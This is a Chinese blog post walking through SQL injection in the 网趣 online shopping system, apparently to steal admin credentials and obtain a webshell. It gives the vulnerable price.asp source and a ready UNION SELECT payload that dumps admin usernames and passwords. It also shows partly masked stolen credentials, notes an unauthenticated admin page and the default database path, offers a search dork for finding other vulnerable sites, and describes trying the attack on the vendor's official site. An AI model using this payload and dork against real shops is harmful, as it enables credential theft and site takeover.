网趣网上购物系统时尚版 V最新漏洞拿WEBSHELL
西宁威势
今天周末,睡到中午才起床,刚上线,看到QQ好友辐射鱼给我留言,找我测试脚本漏洞。
辐射鱼 13:01:03
等我找个点.
辐射鱼 13:03:48
https://www.webshell.cc/price.asp?anid=62%20and%20exists%20(select%20*%20from%20cnhww)
辐射鱼 13:04:41
表cnhww.为啥不支持 order by
辐射鱼 13:05:06
https://www.webshell.cc/price.asp?anid=62%20order%20by%201
辐射鱼 13:05:29
password/admin
随后我手动测试了几下,发现漏洞确实存在,我跟他要了源码和数据库,看完以后理解起来就不是很难了,因为源码是这样写的:
price.asp
rs.open "select * from products where anclassid="&anid&" order by adddate desc",conn,1,1
自己构造语句:
https://www.webshell.cc/price.asp?anid=62%20%20and%201=2%20union%20select%20admin,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,password,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20cnhww
之后成功暴出用户名和密码。
商品序号 商品名称 会员价 当前库存 规格 规格参数
weih**cheye 15 7a57a5a7438**aac 36 23 查看详细
wei**cheye 15 b2ea44b2cf0**bdb 36 23 查看详细
纬**业 15 88121ef9c5a**5f9 36 23 查看详细
上面信息因为包含敏感信息,所以马赛克了一下,用*代替了部份,因为是帮忙测试,所以到此处后我就告一段落,之后辐射鱼又将此过程总结了一下,写了一篇文章,我直接贴上来,有兴趣的自己研究吧!
网趣网上购物系统时尚版 V最新
源码我大致看了下.前台一般不存在什么注入.数据库的默认后串为.asp,可以考虑在前台注册用户用户给数据库里面插马.
我的思路:.
1. 分析源码.
2. 数据库中插马.
3. 寻找上传之类的文件分析.
4. 后台的利用分析.
…………………………………………
本地架设个iis.测试下看看.
我们随便提交个id ‘看看存在不存在注入.
提交ID=XXX‘返回主页.
Products.asp
<html>
<head>
<!--#include file="conn.asp"-->
<!--#include file="config.asp"-->
<!--#include file="./alipay_inc/myAlipay.asp"-->
<!--#include file="./alipay_inc/alipay_Config.asp"-->
<title><%=webname%>--商品详细信息</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="description" content="网趣网上购物系统,网趣网上购物系统时尚版,网趣购物系统,网上购物系统,购物系统,网趣购物,商城源码,网上商店,网上商店系统,域名注册,虚拟主机,恒伟网络">
<meta name="keywords" content="网趣网上购物系统,网趣网上购物系统时尚版,网趣购物系统,网上购物系统,购物系统,网趣购物,商城源码,网上商店,网上商店系统,域名注册,虚拟主机,恒伟网络">
<link href="images/css.css" rel="stylesheet" type="text/css">
</head>
<script language="JavaScript">
<!--
function OpenNews()
{
window.name = "news"
win = window.open('','newswin','left=110,width=600,height=420,scrollbars=1');
}
//-->
</script>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
<%dim bookid,action
bookid=request.QueryString("id")
action=request.QueryString("action")
if action="save" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review",conn,1,3
rs.addnew
rs("bookid")=bookid
rs("pingji")=request("pingji")
rs("pinglunname")=HTMLEncode2(trim(request("pinglunname")))
rs("pingluntitle")=HTMLEncode2(trim(request("pingluntitle")))
rs("pingluncontent")=HTMLEncode2(trim(request("pingluncontent")))
rs("ip")=Request.servervariables("REMOTE_ADDR")
rs("pinglundate")=now()
rs("shenhe")=0
rs.update
rs.close
set rs=nothing
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from products where bookid="&bookid,conn,1,3
rs("pingji")=rs("pingji")+1
rs("pingjizong")=rs("pingjizong")+request("pingji")
rs.update
rs.close
set rs=nothing
response.Write "
<script language=javascript>alert('您的评论已成功提交,待管理员审核!');history.go(-1);</script>"
response.End
end if
%>
有防注入.
都是session验证,没有cookie这条路子我也测试了.不行
继续看代码.
Price.asp
<!--#include file="conn.asp"-->
<!--#include file="config.asp"-->
<html>
<head>
<title><%=webname%></title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="description" content="<%=des%>">
<meta name="keywords" content="<%=keya%>">
…………省略
nd if
set rs=server.CreateObject("adodb.recordset")
if anid<>"" then
rs.open "select * from products where anclassid="&anid&" order by adddate desc",conn,1,1
else
select case selectm
case ""
rs.open "select * from products order by adddate desc",conn,1,1
case "0"
rs.open "select * from products order by adddate desc",conn,1,1
case "shopid"
end select
end if
if err.number<>0 then
response.write "暂无相关数据!"
end if
if rs.eof And rs.bof then
Response.Write "<p align='center'>暂无相关数据!</p>"
else
totalPut=rs.recordcount
if currentpage<1 then
currentpage=1
end if
if (currentpage-1)*MaxPerPage>totalput then
if (totalPut mod MaxPerPage)=0 then
currentpage= totalPut \ MaxPerPage
else
currentpage= totalPut \ MaxPerPage + 1
end if
end if
if currentPage=1 then
showContent
showpage totalput,MaxPerPage,"Price.asp"
else
if (currentPage-1)*MaxPerPage<totalPut then
rs.move (currentPage-1)*MaxPerPage
dim shopmark
shopmark=rs.bookmark
showContent
showpage totalput,MaxPerPage,"Price.asp"
else
currentPage=1
showContent
showpage totalput,MaxPerPage,"Price.asp"
end if
end if
end if
sub showContent
dim i
i=0
%>
没有防过滤.
Price.asp?anid=62;(提交查询语句)--
/price.asp?anid=62%20%20and%201=2%20union%20select%20admin,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,password,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20cnhww
/admin/admin.asp
/admin/admin3.asp
<html><head><title>商城管理系统</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../images/css.css" rel="stylesheet" type="text/css">
</head>
<body>
<%
Dim theInstalledObjects(24)
没有验证可以直接访问.
2.数据库.
\cnhwwdata\cnhww.asp 默认的数据库路径.
思路: 如果数据库路径没修改,可以考虑在前台注册用户拿shell.
<%nodown%> 防下载表段.
Cnhww 后台用户表段.
User 前台用户表段.
这里不用说了吧.防下载表段在插到数据库的第一个行.数据库插马这条路子就不走了
.(前台插入一句话也不会闭合)
1. 后台拿shell.
没有防过滤.
Price.asp?anid=62;(提交查询语句)--
语句就不构造了.
查询Cnhww 表里面的
Admin /password
后台拿shell的方法
网趣网上购物系统时尚版
关键字
inurl:Price.asp?anid=
利用方法
/price.asp?anid=62%20%20and%201=2%20union%20select%20admin,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,
password,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20cnhww
拿到官方网站去测试,结果发现用了通用防注入
以下是引用片段:
非法操作!系统做了如下记录↓
操作IP:123.45.67.89
操作时间:2009-11-7 15:31:35
操作页面:/fshop/products.asp
提交方式:GET
提交参数:id
提交数据:346 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,
33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50 from cnhww order by adddate desc
辐射鱼接着测试,发现,官方将后台删除了,并且数据库表名也改了,哈哈,我就不接着玩了。
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/148.html